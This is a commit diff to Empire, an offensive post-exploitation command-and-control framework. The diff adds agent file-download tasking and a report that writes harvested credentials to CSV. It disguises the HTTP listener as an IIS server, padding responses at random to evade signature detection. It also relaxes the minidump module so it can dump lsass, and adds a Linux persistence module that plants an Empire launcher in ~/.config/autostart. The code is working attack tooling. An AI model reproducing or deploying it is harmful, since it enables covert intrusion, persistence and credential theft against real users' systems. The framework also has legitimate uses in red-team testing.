commit
b1e7534024
|
@ -202,7 +202,7 @@ def process_tasking(data):
|
|||
if result:
|
||||
resultPackets += result
|
||||
|
||||
packetOffset = 8 + length
|
||||
packetOffset = 12 + length
|
||||
|
||||
while remainingData and remainingData != '':
|
||||
(packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset)
|
||||
|
@ -210,7 +210,7 @@ def process_tasking(data):
|
|||
if result:
|
||||
resultPackets += result
|
||||
|
||||
packetOffset += 8 + length
|
||||
packetOffset += 12 + length
|
||||
|
||||
# send_message() is patched in from the listener module
|
||||
send_message(resultPackets)
|
||||
|
@ -857,6 +857,9 @@ def run_command(command):
|
|||
elif ">" in command or ">>" in command or "<" in command or "<<" in command:
|
||||
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
|
||||
return ''.join(list(iter(p.stdout.readline, b'')))
|
||||
elif ";" in command or "&&" in command:
|
||||
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
|
||||
return p.communicate()[0].strip()
|
||||
else:
|
||||
command_parts = []
|
||||
command_parts.append(command)
|
||||
|
|
31
empire
31
empire
|
@ -905,6 +905,33 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID])
|
||||
|
||||
return jsonify({'success': True})
|
||||
@app.route('/api/agents/<string:agent_name>/download', methods=['POST'])
|
||||
def task_agent_download(agent_name):
|
||||
"""
|
||||
Tasks the specified agent to download a file
|
||||
"""
|
||||
|
||||
if agent_name.lower() == "all":
|
||||
# enumerate all target agent sessionIDs
|
||||
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
|
||||
else:
|
||||
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
|
||||
|
||||
if not agentNameIDs or len(agentNameIDs) == 0:
|
||||
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
|
||||
|
||||
if not request.json['filename']:
|
||||
return make_response(jsonify({'error':'file name not provided'}), 404)
|
||||
|
||||
fileName = request.json['filename']
|
||||
for agentNameID in agentNameIDs:
|
||||
(agentName, agentSessionID) = agentNameID
|
||||
|
||||
msg = "Tasked agent to download %s" % (fileName)
|
||||
main.agents.save_agent_log(agentSessionID, msg)
|
||||
taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_DOWNLOAD', fileName)
|
||||
|
||||
return jsonify({'success': True, 'taskID': taskID})
|
||||
|
||||
@app.route('/api/agents/<string:agent_name>/upload', methods=['POST'])
|
||||
def task_agent_upload(agent_name):
|
||||
|
@ -941,9 +968,9 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
|
||||
main.agents.save_agent_log(agentSessionID, msg)
|
||||
data = fileName + "|" + fileData
|
||||
main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
|
||||
taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
|
||||
|
||||
return jsonify({'success': True})
|
||||
return jsonify({'success': True, 'taskID': taskID})
|
||||
|
||||
@app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
|
||||
def task_agent_shell(agent_name):
|
||||
|
|
|
@ -24,6 +24,7 @@ import shlex
|
|||
import pkgutil
|
||||
import importlib
|
||||
import base64
|
||||
import threading
|
||||
|
||||
# Empire imports
|
||||
import helpers
|
||||
|
@ -80,6 +81,7 @@ class MainMenu(cmd.Cmd):
|
|||
self.conn = self.database_connect()
|
||||
time.sleep(1)
|
||||
|
||||
self.lock = threading.Lock()
|
||||
# pull out some common configuration information
|
||||
(self.isroot, self.installPath, self.ipWhiteList, self.ipBlackList, self.obfuscate, self.obfuscateCommand) = helpers.get_config('rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command')
|
||||
|
||||
|
@ -111,6 +113,15 @@ class MainMenu(cmd.Cmd):
|
|||
|
||||
# print the loading menu
|
||||
messages.loading()
|
||||
|
||||
def get_db_connection(self):
|
||||
"""
|
||||
Returns the
|
||||
"""
|
||||
self.lock.acquire()
|
||||
self.conn.row_factory = None
|
||||
self.lock.release()
|
||||
return self.conn
|
||||
|
||||
|
||||
def check_root(self):
|
||||
|
@ -850,6 +861,77 @@ class MainMenu(cmd.Cmd):
|
|||
print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.")
|
||||
helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate)
|
||||
|
||||
def do_report(self, line):
|
||||
"Produce report CSV and log files: sessions.csv, credentials.csv, master.log"
|
||||
conn = self.get_db_connection()
|
||||
try:
|
||||
self.lock.acquire()
|
||||
|
||||
# Agents CSV
|
||||
cur = conn.cursor()
|
||||
cur.execute('select session_id, hostname, username, checkin_time from agents')
|
||||
|
||||
rows = cur.fetchall()
|
||||
print helpers.color("[*] Writing data/sessions.csv")
|
||||
f = open('data/sessions.csv','w')
|
||||
f.write("SessionID, Hostname, User Name, First Check-in\n")
|
||||
for row in rows:
|
||||
f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+'\n')
|
||||
f.close()
|
||||
|
||||
# Credentials CSV
|
||||
cur.execute("""
|
||||
SELECT
|
||||
domain
|
||||
,username
|
||||
,host
|
||||
,credtype
|
||||
,password
|
||||
FROM
|
||||
credentials
|
||||
ORDER BY
|
||||
domain
|
||||
,credtype
|
||||
,host
|
||||
""")
|
||||
|
||||
rows = cur.fetchall()
|
||||
print helpers.color("[*] Writing data/credentials.csv")
|
||||
f = open('data/credentials.csv','w')
|
||||
f.write('Domain, Username, Host, Cred Type, Password\n')
|
||||
for row in rows:
|
||||
f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+ ','+ row[4]+'\n')
|
||||
f.close()
|
||||
|
||||
# Empire Log
|
||||
cur.execute("""
|
||||
SELECT
|
||||
reporting.time_stamp
|
||||
,reporting.event_type
|
||||
,reporting.name as "AGENT_ID"
|
||||
,a.hostname
|
||||
,reporting.taskID
|
||||
,t.data AS "Task"
|
||||
,r.data AS "Results"
|
||||
FROM
|
||||
reporting
|
||||
JOIN agents a on reporting.name = a.session_id
|
||||
LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (reporting.name = t.agent)
|
||||
LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (reporting.name = r.agent)
|
||||
WHERE
|
||||
reporting.event_type == 'task' OR reporting.event_type == 'checkin'
|
||||
""")
|
||||
rows = cur.fetchall()
|
||||
print helpers.color("[*] Writing data/master.log")
|
||||
f = open('data/master.log', 'w')
|
||||
f.write('Empire Master Taskings & Results Log by timestamp\n')
|
||||
f.write('='*50 + '\n\n')
|
||||
for row in rows:
|
||||
f.write('\n' + row[0] + ' - ' + row[3] + ' (' + row[2] + ')> ' + unicode(row[5]) + '\n' + unicode(row[6]) + '\n')
|
||||
f.close()
|
||||
cur.close()
|
||||
finally:
|
||||
self.lock.release()
|
||||
|
||||
def complete_usemodule(self, text, line, begidx, endidx, language=None):
|
||||
"Tab-complete an Empire module path."
|
||||
|
|
|
@ -7,7 +7,7 @@ import time
|
|||
import copy
|
||||
import sys
|
||||
from pydispatch import dispatcher
|
||||
from flask import Flask, request, make_response
|
||||
from flask import Flask, request, make_response, send_from_directory
|
||||
|
||||
# Empire imports
|
||||
from lib.common import helpers
|
||||
|
@ -137,17 +137,86 @@ class Listener:
|
|||
# set the default staging key to the controller db default
|
||||
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
||||
|
||||
# randomize the length of the default_response and index_page headers to evade signature based scans
|
||||
self.header_offset = random.randint(0,64)
|
||||
|
||||
def default_response(self):
|
||||
"""
|
||||
Returns an IIS 7.5 404 not found page.
|
||||
"""
|
||||
|
||||
return '\n'.join([
|
||||
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
|
||||
'<html xmlns="http://www.w3.org/1999/xhtml">',
|
||||
'<head>',
|
||||
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>',
|
||||
'<title>404 - File or directory not found.</title>',
|
||||
'<style type="text/css">',
|
||||
'<!--',
|
||||
'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}',
|
||||
'fieldset{padding:0 15px 10px 15px;}',
|
||||
'h1{font-size:2.4em;margin:0;color:#FFF;}',
|
||||
'h2{font-size:1.7em;margin:0;color:#CC0000;}',
|
||||
'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}',
|
||||
'#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;',
|
||||
'background-color:#555555;}',
|
||||
'#content{margin:0 0 0 2%;position:relative;}',
|
||||
'.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}',
|
||||
'-->',
|
||||
'</style>',
|
||||
'</head>',
|
||||
'<body>',
|
||||
'<div id="header"><h1>Server Error</h1></div>',
|
||||
'<div id="content">',
|
||||
' <div class="content-container"><fieldset>',
|
||||
' <h2>404 - File or directory not found.</h2>',
|
||||
' <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>',
|
||||
' </fieldset></div>',
|
||||
'</div>',
|
||||
'</body>',
|
||||
'</html>',
|
||||
' ' * self.header_offset, # randomize the length of the header to evade signature based detection
|
||||
])
|
||||
|
||||
def index_page(self):
|
||||
"""
|
||||
Returns a default HTTP server page.
|
||||
"""
|
||||
page = "<html><body><h1>It works!</h1>"
|
||||
page += "<p>This is the default web page for this server.</p>"
|
||||
page += "<p>The web server software is running but no content has been added, yet.</p>"
|
||||
page += "</body></html>"
|
||||
return page
|
||||
|
||||
return '\n'.join([
|
||||
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
|
||||
'<html xmlns="http://www.w3.org/1999/xhtml">',
|
||||
'<head>',
|
||||
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />',
|
||||
'<title>IIS7</title>',
|
||||
'<style type="text/css">',
|
||||
'<!--',
|
||||
'body {',
|
||||
' color:#000000;',
|
||||
' background-color:#B3B3B3;',
|
||||
' margin:0;',
|
||||
'}',
|
||||
'',
|
||||
'#container {',
|
||||
' margin-left:auto;',
|
||||
' margin-right:auto;',
|
||||
' text-align:center;',
|
||||
' }',
|
||||
'',
|
||||
'a img {',
|
||||
' border:none;',
|
||||
'}',
|
||||
'',
|
||||
'-->',
|
||||
'</style>',
|
||||
'</head>',
|
||||
'<body>',
|
||||
'<div id="container">',
|
||||
'<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>',
|
||||
'</div>',
|
||||
'</body>',
|
||||
'</html>',
|
||||
])
|
||||
|
||||
def validate_options(self):
|
||||
"""
|
||||
|
@ -563,7 +632,7 @@ class Listener:
|
|||
"""
|
||||
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
|
||||
dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http_com")
|
||||
return make_response(self.default_response(), 200)
|
||||
return make_response(self.default_response(), 404)
|
||||
|
||||
|
||||
@app.after_request
|
||||
|
@ -581,6 +650,24 @@ class Listener:
|
|||
response.headers['Expires'] = "0"
|
||||
return response
|
||||
|
||||
@app.route('/')
|
||||
@app.route('/index.html')
|
||||
def serve_index():
|
||||
"""
|
||||
Return default server web page if user navigates to index.
|
||||
"""
|
||||
|
||||
static_dir = self.mainMenu.installPath + "data/misc/"
|
||||
return make_response(self.index_page(), 200)
|
||||
|
||||
@app.route('/welcome.png')
|
||||
def serve_index_helper():
|
||||
"""
|
||||
Serves image loaded by index page.
|
||||
"""
|
||||
|
||||
static_dir = self.mainMenu.installPath + "data/misc/"
|
||||
return send_from_directory(static_dir, 'welcome.png')
|
||||
|
||||
@app.route('/<path:request_uri>', methods=['GET'])
|
||||
def handle_get(request_uri):
|
||||
|
@ -624,7 +711,7 @@ class Listener:
|
|||
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
|
||||
return make_response(self.default_response(), 401)
|
||||
else:
|
||||
return make_response(self.default_response(), 200)
|
||||
return make_response(self.default_response(), 404)
|
||||
|
||||
else:
|
||||
# actual taskings
|
||||
|
@ -632,13 +719,13 @@ class Listener:
|
|||
return make_response(base64.b64encode(results), 200)
|
||||
else:
|
||||
# dispatcher.send("[!] Results are None...", sender='listeners/http_com')
|
||||
return make_response(self.default_response(), 200)
|
||||
return make_response(self.default_response(), 404)
|
||||
else:
|
||||
return make_response(self.default_response(), 200)
|
||||
return make_response(self.default_response(), 404)
|
||||
|
||||
else:
|
||||
dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http_com')
|
||||
return make_response(self.default_response(), 200)
|
||||
return make_response(self.default_response(), 404)
|
||||
|
||||
|
||||
@app.route('/<path:request_uri>', methods=['POST'])
|
||||
|
@ -676,16 +763,16 @@ class Listener:
|
|||
|
||||
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
|
||||
dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com')
|
||||
return make_response(self.default_response(), 200)
|
||||
return make_response(self.default_response(), 404)
|
||||
elif results == 'VALID':
|
||||
dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com')
|
||||
return make_response(self.default_response(), 200)
|
||||
return make_response(self.default_response(), 404)
|
||||
else:
|
||||
return make_response(base64.b64encode(results), 200)
|
||||
else:
|
||||
return make_response(self.default_response(), 200)
|
||||
return make_response(self.default_response(), 404)
|
||||
else:
|
||||
return make_response(self.default_response(), 200)
|
||||
return make_response(self.default_response(), 404)
|
||||
|
||||
try:
|
||||
certPath = listenerOptions['CertPath']['Value']
|
||||
|
|
|
@ -9,13 +9,13 @@ class Module:
|
|||
|
||||
'Author': ['@mattifestation'],
|
||||
|
||||
'Description': ('Generates a full-memory minidump of a process.'),
|
||||
'Description': ('Generates a full-memory dump of a process. Note: To dump another user\'s process, you must be running from an elevated prompt (e.g to dump lsass)'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : True,
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
|
@ -89,9 +89,9 @@ class Module:
|
|||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if option == "ProcessName":
|
||||
scriptEnd += "Get-Process " + values['Value'] + " | Out-Minidump"
|
||||
scriptEnd = "Get-Process " + values['Value'] + " | Out-Minidump"
|
||||
elif option == "ProcessId":
|
||||
scriptEnd += "Get-Process -Id " + values['Value'] + " | Out-Minidump"
|
||||
scriptEnd = "Get-Process -Id " + values['Value'] + " | Out-Minidump"
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if values['Value'] and values['Value'] != '':
|
||||
|
|
|
@ -0,0 +1,114 @@
|
|||
import base64
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# name for the module that will appear in module menus
|
||||
'Name': 'DesktopFile',
|
||||
|
||||
# list of one or more authors for the module
|
||||
'Author': ['@jarrodcoulter'],
|
||||
|
||||
# more verbose multi-line description of the module
|
||||
'Description': ('Installs an Empire launcher script in ~/.config/autostart.'),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background' : False,
|
||||
|
||||
# File extension to save the file as
|
||||
'OutputExtension' : None,
|
||||
|
||||
# if the module needs administrative privileges
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe' : False,
|
||||
|
||||
# the module language
|
||||
'Language' : 'python',
|
||||
|
||||
# the minimum language version needed
|
||||
'MinLanguageVersion' : '2.6',
|
||||
|
||||
# list of any references/other comments
|
||||
'Comments': [https://digitasecurity.com/blog/2018/01/23/crossrat/
|
||||
https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s07.html,
|
||||
https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
# The 'Agent' option is the only one that MUST be in a module
|
||||
'Description' : 'Agent to execute module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'FileName' : {
|
||||
'Description' : 'File name without extension that you would like created in ~/.config/autostart/ folder.',
|
||||
'Required' : False,
|
||||
'Value' : 'sec_start'
|
||||
},
|
||||
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
# During instantiation, any settable option parameters
|
||||
# are passed as an object set to the module and the
|
||||
# options dictionary is automatically set. This is mostly
|
||||
# in case options are passed on the command line
|
||||
if params:
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
FileName = self.options['FileName']['Value']
|
||||
listenerName = self.options['Listener']['Value']
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
|
||||
launcher = launcher.strip('echo').strip(' | /usr/bin/python &')
|
||||
dtSettings = """
|
||||
[Desktop Entry]
|
||||
Name=%s
|
||||
Exec=python -c %s
|
||||
Type=Application
|
||||
NoDisplay=True
|
||||
""" % (FileName, launcher)
|
||||
script = """
|
||||
import subprocess
|
||||
import sys
|
||||
import os
|
||||
dtFile = \"\"\"
|
||||
%s
|
||||
\"\"\"
|
||||
home = os.path.expanduser("~")
|
||||
FilePath = home + "/.config/autostart/"
|
||||
WriteFile = FilePath + "%s.desktop"
|
||||
|
||||
if not os.path.exists(FilePath):
|
||||
os.makedirs(FilePath)
|
||||
e = open(WriteFile,'wb')
|
||||
e.write(dtFile)
|
||||
e.close()
|
||||
|
||||
print "\\n[+] Persistence has been installed: ~/.config/autostart/%s"
|
||||
print "\\n[+] Empire daemon has been written to %s"
|
||||
|
||||
""" % (dtSettings, FileName, FileName, FileName)
|
||||
|
||||
return script
|
Loading…
Reference in New Issue